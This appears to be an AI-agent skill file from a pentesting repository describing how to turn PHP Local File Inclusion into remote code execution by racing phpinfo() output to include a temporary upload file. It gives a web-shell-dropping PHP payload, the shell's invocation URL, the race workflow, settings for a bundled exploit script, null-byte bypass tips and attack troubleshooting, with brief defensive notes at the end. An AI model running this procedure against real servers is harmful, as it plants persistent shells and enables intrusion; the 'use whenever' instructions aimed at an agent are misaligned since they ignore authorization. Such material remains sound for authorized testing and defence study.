Hacktricks-skills lfi2rce-phpinfo

How to exploit Local File Inclusion (LFI) to Remote Code Execution (RCE) using PHPInfo() output. Use this skill whenever you need to escalate LFI vulnerabilities to RCE, especially when phpinfo() pages are accessible, or when you're testing for file inclusion vulnerabilities that could lead to code execution. Make sure to use this skill when you find LFI sinks combined with phpinfo() endpoints, or when you need to convert file inclusion into command execution on PHP applications.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/file-inclusion/lfi2rce-via-phpinfo/SKILL.MD
source content

LFI to RCE via PHPInfo

This skill teaches you how to escalate Local File Inclusion (LFI) vulnerabilities to Remote Code Execution (RCE) by leveraging PHP's

phpinfo()
output to discover temporary file paths created during file uploads.

When to Use This Technique

Use this approach when you have:

  • A reachable page that outputs
    phpinfo()
    (e.g.,
    /phpinfo.php
    ,
    /info.php
    ,
    /debug.php
    )
  • An LFI primitive you control (user-controlled
    include
    ,
    require
    ,
    file_get_contents
    , etc.)
  • PHP file uploads enabled (
    file_uploads = On
    )
  • The ability to include files from the upload temp directory

Theory

When PHP receives a

multipart/form-data
POST with a file field, it:

  1. Writes the content to a temporary file in
    upload_tmp_dir
    (or system temp directory)
  2. Exposes the path in
    $_FILES['<field>']['tmp_name']
  3. Automatically removes the file at the end of the request unless moved/renamed

The trick:

phpinfo()
prints
$_FILES
, including
tmp_name
. By inflating request headers/parameters (padding), you can cause early chunks of
phpinfo()
output to flush to the client before the request finishes. This lets you read
tmp_name
while the temp file still exists, then immediately hit the LFI with that path to execute the payload.

Common temp paths:

  • Linux/Unix:
    /tmp/php*.tmp
    or configured
    upload_tmp_dir
  • Windows:
    C:\Windows\Temp\php*.tmp

Attack Workflow

Step 1: Prepare Your Payload

Create a PHP payload that persists a shell quickly (writing a file is faster than waiting for a reverse shell):

<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');

Step 2: Send Large Multipart POST to phpinfo()

Send a large

multipart/form-data
POST directly to the
phpinfo()
page. Inflate headers/cookies/params with ~5–10KB of padding to encourage early output flushing.

Step 3: Race Condition - Parse and Include

While the

phpinfo()
response is still streaming:

  1. Parse the partial body to extract
    $_FILES['<field>']['tmp_name']
    (HTML-encoded)
  2. As soon as you have the full absolute path (e.g.,
    /tmp/php3Fz9aB
    ), fire your LFI to include that path
  3. If
    include()
    executes the temp file before deletion, your payload runs and drops
    /tmp/.p.php

Step 4: Use the Dropped Shell

Access the persistent shell:

GET /vuln.php?include=/tmp/.p.php&x=id

Using the PoC Script

The bundled script

scripts/lfi2rce-phpinfo.py
automates this attack. Configure these variables:

VariableDescriptionExample
HOST
Target hostname
target.local
PORT
Target port
80
PHPSCRIPT
Path to phpinfo() endpoint
/phpinfo.php
LFIPATH
LFI sink path (sprintf-style,
%s
= tmp path)
/vuln.php?file=%s
THREADS
Concurrent workers
10
PAYLOAD
PHP code to executeSee defaults

Running the Script

python3 scripts/lfi2rce-phpinfo.py

Customizing for Your Target

If the LFI sink appends

.php
: Remove null byte handling;
include()
will execute PHP regardless of temp file extension.

If you need null bytes (older PHP): Add

%00
to the LFI path to cut off unwanted extensions.

Adjust padding: If output doesn't flush early, increase

PADDING
size or add more large headers.

Troubleshooting

ProblemSolution
Never see
tmp_name
Ensure you're POSTing
multipart/form-data
to
phpinfo()
.
$_FILES
only appears with upload fields.
Output doesn't flush earlyIncrease padding, add more large headers (Cookie, User-Agent, Accept-Language, Pragma), or send concurrent requests.
LFI path blockedCheck
open_basedir
or
chroot
restrictions. Point LFI to an allowed path or try a different LFI→RCE vector.
Temp directory not
/tmp
phpinfo()
prints the full absolute
tmp_name
path; use that exact path in the LFI.
HTML-encoded arrow
=&gt;
The script handles both
=>
and
=&gt;
encodings automatically.

Defensive Notes

  • Never expose
    phpinfo()
    in production
    . If needed, restrict by IP/auth and remove after use.
  • Keep
    file_uploads
    disabled
    if not required. Otherwise, restrict
    upload_tmp_dir
    to a path not reachable by
    include()
    in the application.
  • Treat any LFI as critical; even without
    phpinfo()
    , other LFI→RCE paths exist.
  • Validate and sanitize all
    include
    /
    require
    paths with strict allowlists.

References

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm
  • PHP Manual – POST method uploads: php.net
  • Original PoC:
    phpinfolfi.py
    (see whitepaper)